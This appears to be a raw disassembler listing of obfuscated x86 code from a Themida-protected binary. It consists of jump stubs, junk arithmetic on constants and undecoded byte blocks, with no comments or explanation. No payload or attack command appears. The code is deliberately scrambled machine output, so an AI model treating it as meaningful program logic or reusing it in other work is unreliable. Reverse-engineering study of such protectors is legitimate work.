		dd 0F66240Ch, 1CE9C8B6h
		db 90h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_633CAF:				; CODE XREF: Themida_:0062F072j
		add	esp, 4
		sub	esp, 4
		mov	[esp], esi
		jmp	loc_631177
; ---------------------------------------------------------------------------
		db 0E9h
		dd 0FFFF4DF5h, 835FFB01h, 895002C3h, 405E0h, 0E8830000h
		dd 24048704h, 241C895Ch, 42474FFh, 24048F5Bh, 409665Ch
		dd 0CAE99C24h, 80FFFF4Dh, 0CF0800E9h, 38EF8059h, 0B0E99E2Ch
		dd 0BA000004h, 4, 0AC77EA2Dh, 0F16BE90Eh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_633D12:				; CODE XREF: Themida_:0062EB59j
		pop	ebx
		add	ebx, eax
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		push	small word ptr [eax]
		jmp	loc_628ABD
; ---------------------------------------------------------------------------


loc_633D27:				; CODE XREF: Themida_:0062FD08j
		push	1
		mov	esi, [esp]
		add	esp, 4
		and	eax, esi
		push	dword ptr [esp]
		pop	esi
		push	ebp
		push	esp
		jmp	loc_62DB83
; ---------------------------------------------------------------------------


loc_633D3F:				; CODE XREF: Themida_:006317F7j
		mov	eax, 5F6275DBh
		jmp	loc_62A27D
; ---------------------------------------------------------------------------


loc_633D49:				; CODE XREF: Themida_:0062DE5Fj
		mov	ecx, 12100BD7h
		inc	ecx
		neg	ecx
		jmp	loc_62C7C6
; ---------------------------------------------------------------------------
		dw 8B66h
		dd 83E9240Ch
		db 0C8h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_633D5F:				; CODE XREF: Themida_:0063458Bj
		not	edx
		jmp	loc_6317DB
; ---------------------------------------------------------------------------
		dw 431h
		dd 24043324h, 16DE9h, 0D8895800h, 58C7895Bh, 0FF862DE9h
		dd 0FBE580FFh, 0C580CDFEh, 288E2C83h, 0ABE951E8h, 5EFFFF8Eh
		dd 0FF7872E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_633D95:				; CODE XREF: Themida_:00629AE2j
		mov	ebp, [esp]
		add	esp, 4
		jmp	loc_62A102
; ---------------------------------------------------------------------------
		dd 57D831ADh, 5ECFBD55h, 0ED81542Ch, 7B0832C5h,	2414F755h
		dd 30C5815Dh, 8151C63Eh, 142285EDh, 7E5C10Dh, 0FF9D32E9h
		dd 41BD55FFh, 0D16D1A1Dh, 53ED81EDh, 0F71C056Ch, 507FE9D5h
		dd 489FFFFh, 45516824h,	0E95826FEh, 0FFFF82FAh
; ---------------------------------------------------------------------------


loc_633DEC:				; CODE XREF: Themida_:0062DD4Ej
		mov	esp, [esp]
		jmp	loc_628ABD
; ---------------------------------------------------------------------------


loc_633DF4:				; CODE XREF: Themida_:0062B633j
		shl	esi, 7
		sub	esi, 1BD666FCh
		mov	ebx, esi
		pop	esi
		sub	eax, 0E82689h
		push	edx
		mov	edx, 550F53F8h
		shr	edx, 5
		xor	edx, 4D417FE3h
		sub	edx, 4FDED078h
		sub	eax, 761951F7h
		jmp	loc_6297F4
; ---------------------------------------------------------------------------
		dd 81E28952h, 4C2h, 4EA8300h, 5C241487h, 0BF243C89h, 2FE34C6Ch
		dd 0B7BE564Fh, 81408012h, 0CA25DBE6h, 99E95106h, 0F7FFFF7Dh
		dd 3CBB53DFh, 317D4623h, 241C8BDFh, 81E38953h, 4C3h, 4C38100h
		dd 87000000h, 815C241Ch, 90AD1AEFh, 5FF88925h, 0C158C121h
		db 0E9h, 6
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	421Dh
		jmp	loc_6312F3
; ---------------------------------------------------------------------------
		db 56h
		dd 0FEFDE954h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_633E92:				; CODE XREF: Themida_:0062E02Cj
		pop	ebp
		jmp	loc_63202B
; ---------------------------------------------------------------------------
		dd 0E9240C87h, 0FFFF8D4Ah, 5C241C87h, 0B60FC330h, 8734FFC0h
		dd 0FF5CB2E9h, 0E9D931FFh, 0FFFF50F9h, 0E902C483h, 0FFFFCAA3h
		dd 2B9h, 7CC58100h, 1559B0Ch, 7CED81CDh, 0E9559B0Ch, 0FFFFDBC9h
		dd 9BFAE946h, 248BFFFFh, 4216624h, 0D2E99C24h, 0B9FFFF4Bh
		dd 24DD1AC0h, 62E98149h, 8125BE10h, 52F0DE9h, 0E0F18107h
		dd 0C1127929h, 0F18104E9h, 59A117ABh, 159CF29h,	9DA1E9DFh
		dd 0FF59FFFFh, 4B9FE930h, 285CFFFFh, 0C8E9243Ch
		db 0B2h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_633F27:				; CODE XREF: Themida_:0062A58Bj
		add	eax, edx
		pop	edx
		add	eax, 4
		xchg	eax, [esp]
		mov	esp, [esp]
		jmp	loc_6315FD
; ---------------------------------------------------------------------------
		dd 732DD468h, 24348B75h, 5304C483h, 0DB076EBBh,	98CB8176h
		dd 4B3DB82Dh, 80F3814Bh, 0C13DD03Ch, 0D3F704E3h, 5616C381h
		dd 0F38159CCh, 7513B9Dh, 815BDE31h, 7B0866F6h, 5EF2295Dh
		dd 0FF8256E9h, 0D3215EFFh, 0FFC05EE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_633F81:				; CODE XREF: Themida_:00631430j
		add	edi, 6FEE1F3Bh
		jmp	loc_6309B4
; ---------------------------------------------------------------------------


loc_633F8C:				; CODE XREF: Themida_:0062D25Fj
		pop	edx
		pop	dx
		add	bl, 0A7h
		jmp	loc_62CA47
; ---------------------------------------------------------------------------
		db 51h
		dd 8904EC83h, 0B9512404h, 69D47927h, 41DBB9B8h,	0D2E5E99Fh
		dd 6B6FFFFh, 2831C380h,	31EB80F3h, 24148B66h, 2802C483h
		dd 6CB252F3h, 8047C280h, 0CA80D0EAh, 0F9F2801Ch, 148BD300h
		dd 4C48124h, 5A000000h,	0DE301FB6h, 0E9F0005Bh,	180h
; ---------------------------------------------------------------------------


loc_633FE8:				; CODE XREF: Themida_:0063002Aj
		and	eax, ebx
		pop	ebx
		jmp	loc_630EF6
; ---------------------------------------------------------------------------
		dd 4F9A1968h, 0AFE958BFh, 5CFFFF4Fh, 5EC168h, 240C8900h
		dd 0FF7346E9h, 4AAFE9FFh, 0C89FFFFh, 52BCB124h,	0F000C4B6h
		dd 0E9482C5Ah, 0FFFF6891h
; ---------------------------------------------------------------------------


loc_634020:				; CODE XREF: Themida_:0062F0BBj
		pop	ebx
		shr	al, 3
		jmp	loc_632798
; ---------------------------------------------------------------------------
		db 52h,	0E9h, 86h
		dd 81FFFFAAh, 0E6640FEFh, 2EFC11Fh, 0FF7872E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_63403D:				; CODE XREF: Themida_:0062DE71j
		add	edi, 4
		jmp	loc_62B14B
; ---------------------------------------------------------------------------
		dd 4C481h, 68510000h, 2, 59CE2959h, 2474FF56h, 0BDE95E04h
		dd 81FFFFACh, 0B439F7C1h, 59CE31C1h, 7DFF681h, 0E95330BAh
		dd 0FFFF71FAh, 0D055E95Dh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_63407E:				; CODE XREF: Themida_:00634B82j
		mov	al, 0C1h
		jmp	loc_62A9E8
; ---------------------------------------------------------------------------
		db 0FFh, 74h, 24h
		dd 242C8B04h, 9925E951h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_634092:				; CODE XREF: Themida_:00629D1Ej
		pop	ebx
		sub	esp, 4
		mov	[esp], edi
		push	esi
		jmp	loc_62EF43
; ---------------------------------------------------------------------------
		db 89h
		dd 9C502414h, 0FF4A14E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_6340A9:				; CODE XREF: Themida_:0062A10Fj
		xchg	ebp, [esp]
		push	ebp
		push	eax
		push	dword ptr [esp+4]
		pop	eax
		pop	dword ptr [esp]
		jmp	loc_62FB1F
; ---------------------------------------------------------------------------
		db 0BFh
		dd 517E1B7Dh, 5B5FF931h, 7A6A68h, 24048900h, 0F9B95157h
		dd 814E8534h, 12198CC1h, 0A3E98125h, 81277C24h,	4E343BE9h
		dd 0FBC18129h, 68164103h, 4F04h, 0B8240489h, 12F4DBEh
		dd 8158C101h, 8A5DBCF1h, 5ED0E966h, 0D9F6FFFFh,	0F651C180h
		dd 0D479E9D1h, 4481FFFFh, 8C70424h, 348B7156h, 4C48124h
		dd 0E9000000h, 0FFFF4995h, 8BD6015Eh, 0C4832414h, 4BB5304h
		dd 1000000h, 0CCE95BDEh, 0B0FFFFC4h, 6E8C0D3h, 104982Ch
		dd 7404E0D0h, 2858C728h, 241C8BF8h, 81E78957h, 4C7h, 21B95100h
		dd 0E925D617h, 0FFFFDB63h, 24148B66h, 2C481h, 0C3300000h
		dd 0FFC0B60Fh, 3EE98734h, 0FFFFFF49h, 0E6E92434h, 89FFFF96h
		dd 0C0055FF8h, 0F76DD84Fh, 61B525D8h, 28352376h, 895CE52Eh
		dd 7AD7E9C6h, 0C683FFFFh, 24348704h, 8524248Bh,	0AE99CC8h
		dd 2CFFFF49h, 52F82870h, 0FFA072E9h, 48FBE9FFh,	0C483FFFFh
		dd 4EC8304h, 0BA241489h, 2FEE0FCDh, 0F037C281h,	0D501D011h
		dd 5A2434FFh, 0E904C483h, 0FFFF8C8Eh, 8BE95B5Ah, 0B3FFFF73h
		dd 4EC810Ch, 0E9000000h, 0FFFFF156h, 5AD60159h,	2BF57h
		dd 0FE010000h, 2434335Fh, 0FFF41AE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_63420D:				; CODE XREF: Themida_:00629B26j
		xor	ecx, 39AB1804h
		add	edx, ecx
		pop	ecx
		dec	edx
		push	ecx
		push	ebp
		push	ecx
		mov	ecx, 5825726Fh
		jmp	loc_629C9B
; ---------------------------------------------------------------------------
		dd 18596866h, 240C8966h, 0C800EFB1h, 53665966h,	382CF2B3h
		dd 4FE9D828h
		db 0Fh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_63423F:				; CODE XREF: Themida_:006329D0j
		add	edi, 46E67479h
		and	edi, 0C672917h
		add	edi, 6DDCFE4Ch
		xor	ebx, edi
		pop	edi
		xor	ebx, 3A0C0E95h
		add	ebx, 52EE7347h
		xor	ebx, 0D673137h
		xor	ebx, 0AB9FE23Eh
		add	ebp, ebx
		pop	ebx
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		and	[edi+1Ch], edx
		push	dword ptr [esp]
		pop	edx
		add	esp, 4
		jmp	loc_62A087
; ---------------------------------------------------------------------------
		dd 6802C483h, 727Dh, 0B1240C89h, 0A5F1801Dh, 8007E1C0h
		dd 0B35375C1h, 47F380D1h, 0FF761EE9h, 0F1815FFFh, 27B52CA9h
		dd 65E2BF57h, 0E7C11F11h, 7BE78102h, 8141BA34h,	0B458CAC7h
		dd 81DFF73Eh, 4AC83AC7h, 5FF829D8h, 6805C801h, 0E959965Bh
		dd 0FFFFCDEEh
; ---------------------------------------------------------------------------


loc_6342DC:				; CODE XREF: Themida_:0063030Ej
		add	eax, 29A06C81h
		add	eax, 0C8CD8004h
		jmp	loc_62CD2E
; ---------------------------------------------------------------------------


loc_6342EB:				; CODE XREF: Themida_:0062C6B0j
		add	esp, 4
		add	ebp, 52DF77EAh
		jmp	loc_62FF49
; ---------------------------------------------------------------------------
		dd 8B2434FFh, 3EE92404h, 5FFFFF4Ch, 4C481h, 71E90000h
		db 0ADh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_634313:				; CODE XREF: Themida_:006334F9j
		push	1D164D98h
		mov	edx, [esp]
		add	esp, 4
		xor	edx, 1D164D98h
		mov	ecx, edx
		jmp	loc_629276
; ---------------------------------------------------------------------------


loc_63432E:				; CODE XREF: Themida_:00630AC6j
		shl	ebp, 2
		xor	ebp, 8000009h
		add	[esp+4], ebp
		pop	ebp
		mov	edx, [esp]
		add	esp, 4
		sub	edx, 44082C93h
		jmp	loc_63249F
; ---------------------------------------------------------------------------


loc_63434D:				; CODE XREF: Themida_:00629F33j
		mov	bl, dh
		push	eax
		jmp	loc_62B54C
; ---------------------------------------------------------------------------
		db 59h,	5, 0A7h
		dd 0E976954Fh, 0FFFF7225h, 0FF4758E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_634365:				; CODE XREF: Themida_:0062BDD4j
		and	edi, 7FA91E94h
		neg	edi
		shr	edi, 8
		jmp	loc_62CBCC
; ---------------------------------------------------------------------------


loc_634375:				; CODE XREF: Themida_:0062C119j
		pop	eax


loc_634376:				; CODE XREF: Themida_:0062DA16j
		sub	esp, 4
		mov	[esp], ebx
		sub	esp, 4
		mov	[esp], esi
		push	11F82F83h
		mov	esi, [esp]
		add	esp, 4
		add	dword ptr [esp+4], 4CE61013h
		jmp	loc_6299B9
; ---------------------------------------------------------------------------
		dd 34FFF801h, 89575F24h, 4C781E7h, 0E9000000h, 0FFFF85A4h
; ---------------------------------------------------------------------------


loc_6343B4:				; CODE XREF: Themida_:0062F4BEj
		xor	edi, 34003B19h
		add	ebx, edi
		pop	edi
		add	ebx, ebp
		push	esi
		mov	esi, 40AD64C4h
		and	esi, 6C4921D1h
		shr	esi, 6
		inc	esi
		jmp	loc_62BBA2
; ---------------------------------------------------------------------------
		dd 157E95Ch, 0C3810000h, 4, 4EB81h, 1C870000h, 2FE95C24h
		dd 89FFFF5Ch, 4812424h,	424h, 0BB535800h, 2D1C53C1h, 3C35C381h
		dd 0BE561BF9h, 37095347h, 7B51E681h, 0F681687Ch, 1B6748F7h
		dd 0FFE075E9h, 50D3F7FFh, 0FFCD5CE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_634425:				; CODE XREF: Themida_:0062C0CAj
		add	esp, 4
		not	bh
		add	bh, 0D3h
		sub	esp, 4
		jmp	loc_633A33
; ---------------------------------------------------------------------------
		db 0C1h
		dd 0EE8105E6h, 9C0C230Ch, 0EFF68146h, 21550901h, 45E95EF2h
		dd 31FFFFBBh, 2434FFE8h, 0C5C5E95Dh, 0B951FFFFh, 2, 0FF7F1DE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_634469:				; CODE XREF: Themida_:006311ADj
		mov	[esp], ax
		jmp	loc_628ABD
; ---------------------------------------------------------------------------


loc_634472:				; CODE XREF: Themida_:0062AAA6j
		add	edi, 55646239h
		sub	edi, edx
		jmp	loc_633613
; ---------------------------------------------------------------------------


loc_63447F:				; CODE XREF: Themida_:0062D811j
		mov	ebx, 5F5051Bh
		jmp	loc_62D64E
; ---------------------------------------------------------------------------


loc_634489:				; CODE XREF: Themida_:0062CE1Cj
		mov	ebx, [esp]
		jmp	loc_63165C
; ---------------------------------------------------------------------------
		db 8Bh,	2 dup(24h)
		dd 0FF4640E9h, 4C681FFh, 51000000h, 0FF4CAAE9h,	58C501FFh
		dd 2474FF55h, 48F5D04h,	24248B24h, 240C8B66h, 3EE668h
		dd 7C80E900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_6344C2:				; CODE XREF: Themida_:00630F53j
		mov	esi, esp
		add	esi, 4
		push	ecx
		mov	ecx, 4F4E1A6Ch
		neg	ecx
		inc	ecx
		xor	ecx, 4AB436D3h
		jmp	loc_62D72A
; ---------------------------------------------------------------------------


loc_6344DE:				; CODE XREF: Themida_:006301A9j
		xor	edi, [esp]
		jmp	loc_633433
; ---------------------------------------------------------------------------
		dw 62Ch
		dd 0FF494BE9h, 0CB885AFFh, 83240C8Bh, 30E904C4h, 50FFFFB2h
		dd 651213B8h, 58C10104h, 5AFFB850h, 87E966B2h
		db 0E9h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_63450F:				; CODE XREF: Themida_:0062D48Cj
		add	eax, 4
		sub	eax, 4
		xchg	eax, [esp]
		pop	esp
		mov	[esp], ecx
		jmp	loc_63001E
; ---------------------------------------------------------------------------
		db 56h
		dd 6618E954h, 0F031FFFFh, 0FFD224E9h, 4C181FFh,	81000000h
		dd 4E9h, 240C3300h, 33240C31h, 895C240Ch, 0F9E92414h, 8BFFFF46h
		dd 78E92414h
		db 4Dh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_634557:				; CODE XREF: Themida_:00634AD8j
		push	dword ptr [esp+4]
		pop	ebp
		pop	dword ptr [esp]
		pop	esp
		shr	ecx, 7
		sub	esp, 4
		mov	[esp], ecx
		push	2EBFh
		mov	[esp], esp
		add	dword ptr [esp], 4
		mov	ecx, [esp]
		add	esp, 4
		push	edx
		mov	edx, 5A9A6BB4h
		shr	edx, 7
		shr	edx, 7
		inc	edx
		jmp	loc_633D5F
; ---------------------------------------------------------------------------


loc_634590:				; CODE XREF: Themida_:0062ACC3j
		push	esp
		jmp	loc_63486B
; ---------------------------------------------------------------------------


loc_634596:				; CODE XREF: Themida_:0063338Aj
		push	dword ptr [esp]
		jmp	loc_62F6F0
; ---------------------------------------------------------------------------


loc_63459E:				; CODE XREF: Themida_:0062EACDj
		mov	al, 0BFh
		or	al, 54h
		jmp	loc_6306E1
; ---------------------------------------------------------------------------
		db 0D0h
		dd 0FED3F6E3h, 0C2B450C3h, 0F480CCFEh, 0E9E3286Ch, 0FFFFB453h
; ---------------------------------------------------------------------------


loc_6345BC:				; CODE XREF: Themida_:006293C0j
		neg	edi
		jmp	loc_631D28
; ---------------------------------------------------------------------------
		db 66h
		dd 5766E829h, 3FDFBF66h, 0E9F82966h, 0FFFF814Bh, 0DA2DE801h
		dd 5D5CC939h, 0EC2DD001h, 5A0AAA33h, 9150822Dh,	5D0294Fh
		dd 4F915082h, 4EC81h, 0C3E90000h
		db 9, 2	dup(0)
; ---------------------------------------------------------------------------


loc_6345FB:				; CODE XREF: Themida_:00628FD4j
		pop	ebx
		xchg	edi, [esp]
		mov	esp, [esp]
		mov	[esp], esi
		mov	esi, ebx
		push	edi
		mov	edi, esi
		push	edi
		jmp	loc_62BFC7
; ---------------------------------------------------------------------------
		dd 2474FF56h, 24348B04h, 0FFBA36E9h, 4C781FFh, 81000000h
		dd 2C7h, 243C3300h, 33243C31h, 248B243Ch, 9CC88424h, 0FF7426E9h
		dd 815F5AFFh, 29812404h, 0E9E94285h, 68FFFF78h,	164Eh
		dd 68241C89h, 75F5h, 0FF240489h, 6FE92434h
		db 0A4h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_634663:				; CODE XREF: Themida_:0063073Aj
		add	[esp+4], ecx
		sub	dword ptr [esp+4], 2ED94191h
		push	edx
		mov	edx, 542A4B7Ah
		add	[esp+8], edx
		pop	edx
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		jmp	loc_63299E
; ---------------------------------------------------------------------------
		db 81h,	0EEh, 8Dh
		dd 81194E33h, 207928C6h, 0E9F3297Ah, 0FFFFBB77h, 0A27BE952h
		dd 0E581FFFFh, 46A70C3Bh, 0FBD9BB53h, 0DD01BF5Eh, 0AA3DE95Bh
		dd 0C388FFFFh, 5BD83058h, 0F391E952h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_6346C2:				; CODE XREF: Themida_:00631D56j
		sub	esp, 4
		mov	[esp], edi
		push	ecx
		mov	ecx, 320B2990h
		push	esi
		jmp	loc_634E43
; ---------------------------------------------------------------------------
		db 0BFh
		dd 9042DE3h, 0EFC1DFF7h, 0F2F78102h, 0E92901D9h, 0FFFFABFEh
; ---------------------------------------------------------------------------


loc_6346EC:				; CODE XREF: Themida_:00632190j
		add	ebp, 46536492h
		sub	ebp, ecx
		jmp	loc_631227
; ---------------------------------------------------------------------------
		db 5Dh,	56h, 0BEh
		dd 5CF7256Fh, 0F6DCC681h, 0F309CEA1h, 8516E95Eh, 0EB80FFFFh
		dd 0A6E959A7h
		db 5Bh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_634717:				; CODE XREF: Themida_:0062998Bj
		pop	ecx
		jmp	loc_62F385
; ---------------------------------------------------------------------------
		db 80h,	0C4h, 0Ah
		dd 5258E188h, 0F680B5B6h, 99B35313h, 0FFFE76E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_634731:				; CODE XREF: Themida_:0062CC5Fj
		pop	dword ptr [edi+24h]
		pop	esi


loc_634735:				; CODE XREF: Themida_:006315FFj
		push	edi
		mov	edi, esp
		jmp	loc_628FC6
; ---------------------------------------------------------------------------


loc_63473D:				; CODE XREF: Themida_:0062DB62j
		xor	ebp, 3B6E2A9Eh
		jmp	loc_62A12E
; ---------------------------------------------------------------------------
		dd 81243489h, 4ECh, 48F5400h, 4EC8324h,	0B8240489h, 4
		dd 0FF6C82E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_634765:				; CODE XREF: Themida_:00634FA8j
		shl	ebx, 2
		shr	ebx, 1
		push	eax
		mov	eax, 1700619Dh
		add	eax, 1
		jmp	loc_629CE8
; ---------------------------------------------------------------------------
		dd 8DE9515Ah, 81FFFFE2h, 4C5h, 862AE900h, 5ADFFFFh, 5BEC7884h
		dd 0C21DD805h, 2DD8297Ah, 7AC21DD8h, 8904EC83h,	1968241Ch
		dd 89000074h, 84BF243Ch, 575BEC78h, 0FF240481h,	5B6FE32Dh
		dd 2DFFB850h, 0C3296FE3h, 14055F58h, 51EA704h, 1FF9600Ah
		dd 0A2DD829h, 531FF960h, 0E22C5DBBh, 9FE94B68h,	8FFFFFDCh
		dd 248B2404h, 0BE0F6624h, 0B625E9C8h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_6347EE:				; CODE XREF: Themida_:0062E55Bj
		mov	esi, [esp]
		add	esp, 4
		jmp	loc_630DF2
; ---------------------------------------------------------------------------
		dd 34FFE820h, 0C4835924h, 0FE41E904h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_63480A:				; CODE XREF: Themida_:00630477j
		mov	ecx, 131B77E4h
		dec	ecx
		push	ebx
		mov	ebx, 38EA6003h
		add	ebx, 0D22EF291h
		xor	ecx, ebx
		jmp	loc_62F00F
; ---------------------------------------------------------------------------


loc_634823:				; CODE XREF: Themida_:0062F024j
		mov	[esp], ebx
		mov	bh, al
		mov	[edx], bh
		pop	ebx
		jmp	loc_62AF1F
; ---------------------------------------------------------------------------
		dd 45E9C201h, 87FFFFC3h, 61E9240Ch, 0ACFFFF68h,	0CBE97D2Ch
		dd 1FFFF81h, 74EFE9C8h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_63484E:				; CODE XREF: Themida_:00633936j
		neg	ebx
		xor	ebx, 353D24A2h
		add	ebx, 2AD40505h
		push	ebp
		mov	ebp, 45533CE4h
		add	ebx, ebp
		pop	ebp
		push	edi
		jmp	loc_62EEED
; ---------------------------------------------------------------------------


loc_63486B:				; CODE XREF: Themida_:00634591j
		pop	ebx
		push	ebp
		jmp	loc_633B6D
; ---------------------------------------------------------------------------
		dw 0CA01h
		dd 592434FFh, 0FF8964E9h, 2434FFFFh, 0E289525Ah, 4C281h
		dd 0C2810000h, 4, 8B241487h, 22E92424h,	68FFFF42h, 7BABh
		dd 54243C89h, 0C2B8505Fh, 2D01DA25h, 1DA25BEh, 1BE9C781h
		dd 0C7016471h, 1BE9BD55h, 0EF296471h, 0FFB059E9h, 48966FFh
		dd 41EFE924h, 0B850FFFFh, 1E154BE8h, 2F18BB53h,	0E381792Eh
		dd 35187B7Ah, 0E905E3C1h, 0FFFFBEA3h, 2AFE68h, 24148900h
		dd 0A5E68h, 240C8900h, 0FEB9h, 0CB895300h, 595BDA89h, 0FF1C5721h
		dd 148B2434h, 3B796824h, 3C890000h, 81E78924h, 4C7h, 4C78100h
		dd 87000000h, 0DCE9243Ch
		db 50h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_63492B:				; CODE XREF: Themida_:006335B4j
		sub	esi, 5CCA2A18h
		shl	esi, 8
		sub	esi, 2837F6FFh
		sub	esp, 4
		mov	[esp], esi
		mov	ebx, [esp]
		add	esp, 4
		jmp	loc_631CE8
; ---------------------------------------------------------------------------
		dw 148Bh
		dd 4C48324h, 0FFF849E9h, 48B66FFh, 2C48324h, 55665D66h
		dd 2414F766h, 50665D66h, 6602EC83h, 66242C89h, 0E95D6658h
		dd 0FFFFC16Ch
; ---------------------------------------------------------------------------


loc_63497C:				; CODE XREF: Themida_:0062B26Dj
		mov	ebx, esp
		push	edx
		mov	edx, 4
		add	ebx, edx
		jmp	loc_628EF1
; ---------------------------------------------------------------------------


loc_63498B:				; CODE XREF: Themida_:0063038Cj
		pop	esi
		push	7449h
		jmp	loc_63349E
; ---------------------------------------------------------------------------
		dw 8B5Ch
		dd 0C4812414h, 4, 49C668h, 24048900h, 0FF4110E9h, 4C483FFh
		dd 5C24048Fh, 9C240CD2h, 0FFF306E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_6349BD:				; CODE XREF: Themida_:0062B938j
		push	2A8Ch
		mov	[esp], edi
		push	0B436D8Dh
		pop	edi
		jmp	loc_62AD85
; ---------------------------------------------------------------------------
		dd 6F39F781h, 0EF814829h, 60A13AF0h, 0FF64D7E9h, 6D7905FFh
		dd 0F801592Ah, 2A6D792Dh, 2434FF59h, 0FFF912E9h, 53F281FFh
		dd 0C108C824h, 0EA8103E2h, 5E5B5EC4h, 0FCCC181h, 3EE90ABDh
		dd 0F7FFFF4Eh, 34DC0DD0h, 0D8F73770h, 84430035h, 58C50148h
		dd 8B242C87h, 0C4812424h, 4, 1116BF57h,	0D6E944E1h, 81FFFF53h
		dd 61797AC6h, 241C8B6Ch, 0FFF603E9h, 0F5F281FFh, 0C1727973h
		dd 0CA8105EAh, 3EB20EFAh, 0F9BB534Ah, 0E93FBEFEh, 0FFFF5727h
; ---------------------------------------------------------------------------


loc_634A60:				; CODE XREF: Themida_:0062E770j
		xor	ecx, [esp]
		xor	[esp], ecx
		jmp	loc_63183F
; ---------------------------------------------------------------------------
		db 50h
		dd 0C5888FB0h, 8124048Bh, 4C4h,	0E9EC3000h, 0FFFF6A50h
; ---------------------------------------------------------------------------


loc_634A80:				; CODE XREF: Themida_:00631BCFj
		push	edx
		mov	edx, 6B4F7CABh
		jmp	loc_62AA9C
; ---------------------------------------------------------------------------
aHe0		db ']hE0',0
		dd 241C8900h, 4D6B0FBBh, 0DC86E93Eh, 0C201FFFFh, 39C8C281h
		dd 81582763h, 4ECh, 240C8900h, 220CBA52h, 0C2813A58h, 7F041DA1h
		dd 1BAAF281h, 8142AC34h, 682404EAh, 0E9D18915h,	0FFFF6AEEh
; ---------------------------------------------------------------------------


loc_634AD0:				; CODE XREF: Themida_:0063346Cj
		add	ebp, 350C7814h
		pop	edi
		push	ebp
		jmp	loc_634557
; ---------------------------------------------------------------------------
		db 81h,	0C4h, 4
		dd 53000000h, 41D8BD55h, 0DDF754FDh, 435AC581h,	20E98E0Bh
		dd 68FFFFCFh, 2CFDh, 0E9240489h, 0FFFF8C1Ch
; ---------------------------------------------------------------------------


loc_634B04:				; CODE XREF: Themida_:00631707j
		add	ebx, 4
		push	eax
		mov	eax, 264314BEh
		not	eax
		shl	eax, 1
		xor	eax, 140A1B19h
		add	eax, 0A1B4532h
		xor	eax, 6BA5386Dh
		push	esi
		mov	esi, 27716ADEh
		jmp	loc_6303B8
; ---------------------------------------------------------------------------
		dw 5350h
		dd 2C055B58h, 0E9338617h, 0FFFF544Eh, 3BC38143h, 99D2F20h
		dd 0BD5DE9DEh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_634B4A:				; CODE XREF: Themida_:0062F38Cj
		sub	eax, 0DDD38318h
		jmp	loc_6324F6
; ---------------------------------------------------------------------------
		dd 0E99EB5h
		db 0A3h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_634B5B:				; CODE XREF: Themida_:00629D79j
		sub	bl, 45h
		add	bl, al
		add	bl, 45h
		jmp	loc_634DDF
; ---------------------------------------------------------------------------


loc_634B68:				; CODE XREF: Themida_:0062A904j
		shr	bl, 7
		sub	esp, 4
		mov	[esp], ecx
		mov	cl, 60h
		sub	cl, 61h
		sub	bl, cl
		pop	ecx
		inc	bl
		add	bl, 0B3h
		push	eax
		jmp	loc_63407E
; ---------------------------------------------------------------------------
		db 0BAh
		dd 4, 535AD701h, 10672FBBh, 4462E951h, 0C481FFFFh, 4, 0FF63C5E9h
		dd 32FF64FFh, 0FF3F10E9h, 24248BFFh, 66F1F766h,	660A0268h
		dd 66241489h, 28E99C50h, 4FFFF8Fh, 0E95B6606h, 0EDh, 582434FFh
		dd 104C483h, 0EF4EE9F2h, 34FFFFFFh, 5CE95D24h, 81FFFF53h
		dd 867A8FC2h, 0E9C2015Ch, 0FFFFC0EAh, 8852C581h, 43E98856h
		dd 5AFFFF62h, 2474FF51h, 0BE34E904h, 34FFFFFFh,	4AADE924h
		dd 0C381FFFFh, 2878224Ah, 0FF560DE9h, 2EA81FFh,	87000000h
		dd 78E92414h
		db 0F0h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_634C27:				; CODE XREF: Themida_:00631172j
		neg	dh
		sub	dh, 0B4h
		or	bh, dh
		pop	edx
		xor	bh, 0Ch
		sub	al, bh
		mov	ebx, [esp]
		add	esp, 4
		sub	esp, 4
		mov	[esp], edx
		mov	dl, 7Bh
		push	ecx
		mov	ch, 0E6h
		jmp	loc_62A627
; ---------------------------------------------------------------------------
		dd 4C6835Fh, 0FFEC88E9h, 4EC81FFh, 89000000h, 67E92434h
		db 94h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_634C67:				; CODE XREF: Themida_:0062C53Ej
		add	ebp, 4
		push	ebx
		mov	ebx, 2
		jmp	loc_62BC09
; ---------------------------------------------------------------------------
		dd 242C8B5Ah, 0E904C483h, 0FFFFB778h, 0E5805A66h, 0A8ED8069h
		dd 4EC81h, 1C890000h, 0FE7CB724h, 7E7C0C7h, 0FF96F7E9h
		db 0FFh
